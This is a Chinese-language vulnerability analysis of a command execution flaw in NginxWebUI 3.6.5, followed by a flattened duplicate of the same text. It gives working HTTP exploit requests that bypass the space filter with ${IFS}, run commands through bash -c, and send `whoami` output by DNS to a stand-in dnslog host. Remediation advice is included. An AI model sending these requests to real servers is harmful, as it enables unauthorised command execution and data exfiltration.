nginxWebUi3.6.5 命令执行挖掘
字数 956 2025-08-24 16:48:16

NginxWebUI 3.6.5 命令执行漏洞分析与利用

1. 漏洞概述

NginxWebUI 3.6.5 版本中存在命令执行漏洞,攻击者可以通过精心构造的请求绕过系统校验,在服务器上执行任意命令。

2. 漏洞分析

2.1 关键代码分析

漏洞核心位于 com.cym.controller.adminPage#runCmd 方法,该方法用于执行命令,但有一个校验机制:

private boolean isAvailableCmd(String cmd) {
    String nginxPath = ToolUtils.handleConf(this.settingService.get("nginxPath"));
    this.settingService.set("nginxPath", nginxPath);
    String nginxExe = ToolUtils.handleConf(this.settingService.get("nginxExe"));
    this.settingService.set("nginxExe", nginxExe);
    String nginxDir = ToolUtils.handleConf(this.settingService.get("nginxDir"));
    this.settingService.set("nginxDir", nginxDir);
    
    // 校验逻辑...
}

2.2 校验机制

校验逻辑主要检查传入的 cmd 是否与系统中 nginxExe 参数和 nginxPath 参数值组合相同:

  1. 允许一些预定义的命令(如 net stop nginx, service nginx start 等)
  2. 对于其他命令,必须满足以下条件之一:
    • cmd 等于 nginxExe + " -s stop" + dir
    • cmd 等于 nginxExe + " -c " + nginxPath + dir

2.3 过滤机制

ToolUtils.handlePath() 方法对输入进行了过滤:

  • 删除 & 等特殊字符
  • 删除空格

3. 漏洞利用

3.1 绕过思路

  1. 空格绕过:使用 ${IFS} 代替空格(Linux 特性)
  2. 命令拼接:利用 bash -c 执行复杂命令
  3. 参数设置:通过 saveCmdrunCmd 设置 nginxExenginxPath

3.2 利用步骤

方法一:通过 saveCmd 设置参数

  1. 设置 nginxExenginxPath
POST /adminPage/conf/saveCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

nginxExe=ping${IFS}xxxx.dnslog.xxx&nginxPath=1
  1. 执行命令:
POST /adminPage/conf/runCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cmd=ping${IFS}xxxx.dnslog.xxx -c 1

方法二:执行系统命令

  1. 设置参数:
POST /adminPage/conf/saveCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

nginxExe=bash${IFS}&nginxPath=ls
  1. 执行命令:
POST /adminPage/conf/runCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cmd=bash${IFS}-c${IFS}ls

方法三:直接通过 runCmd 设置参数(绕过更多限制)

  1. 设置 nginxExe
POST /adminPage/conf/runCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

type=nginxExe&cmd=bash
  1. 设置 nginxPath
POST /adminPage/conf/runCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

type=nginxPath&cmd="ping `whoami`.xxxx.dnslog.pw"
  1. 执行命令:
POST /adminPage/conf/runCmd HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cmd=bash -c "ping `whoami`.xxxx.dnslog.pw"

4. 漏洞修复建议

  1. 严格限制可执行的命令列表
  2. 加强输入过滤,包括 ${IFS} 等特殊替换
  3. 实现更严格的参数校验机制
  4. 使用白名单而非黑名单方式验证命令
  5. 对敏感操作增加权限验证

5. 总结

该漏洞利用系统校验逻辑的缺陷和Linux环境特性,通过精心构造的请求绕过安全限制,最终实现任意命令执行。攻击者可以通过多种方式利用此漏洞,包括直接设置参数或利用bash -c执行复杂命令。

NginxWebUI 3.6.5 命令执行漏洞分析与利用 1. 漏洞概述 NginxWebUI 3.6.5 版本中存在命令执行漏洞,攻击者可以通过精心构造的请求绕过系统校验,在服务器上执行任意命令。 2. 漏洞分析 2.1 关键代码分析 漏洞核心位于 com.cym.controller.adminPage#runCmd 方法,该方法用于执行命令,但有一个校验机制: 2.2 校验机制 校验逻辑主要检查传入的 cmd 是否与系统中 nginxExe 参数和 nginxPath 参数值组合相同: 允许一些预定义的命令(如 net stop nginx , service nginx start 等) 对于其他命令,必须满足以下条件之一: cmd 等于 nginxExe + " -s stop" + dir cmd 等于 nginxExe + " -c " + nginxPath + dir 2.3 过滤机制 ToolUtils.handlePath() 方法对输入进行了过滤: 删除 & 等特殊字符 删除空格 3. 漏洞利用 3.1 绕过思路 空格绕过 :使用 ${IFS} 代替空格(Linux 特性) 命令拼接 :利用 bash -c 执行复杂命令 参数设置 :通过 saveCmd 或 runCmd 设置 nginxExe 和 nginxPath 3.2 利用步骤 方法一:通过 saveCmd 设置参数 设置 nginxExe 和 nginxPath : 执行命令: 方法二:执行系统命令 设置参数: 执行命令: 方法三:直接通过 runCmd 设置参数(绕过更多限制) 设置 nginxExe : 设置 nginxPath : 执行命令: 4. 漏洞修复建议 严格限制可执行的命令列表 加强输入过滤,包括 ${IFS} 等特殊替换 实现更严格的参数校验机制 使用白名单而非黑名单方式验证命令 对敏感操作增加权限验证 5. 总结 该漏洞利用系统校验逻辑的缺陷和Linux环境特性,通过精心构造的请求绕过安全限制,最终实现任意命令执行。攻击者可以通过多种方式利用此漏洞,包括直接设置参数或利用 bash -c 执行复杂命令。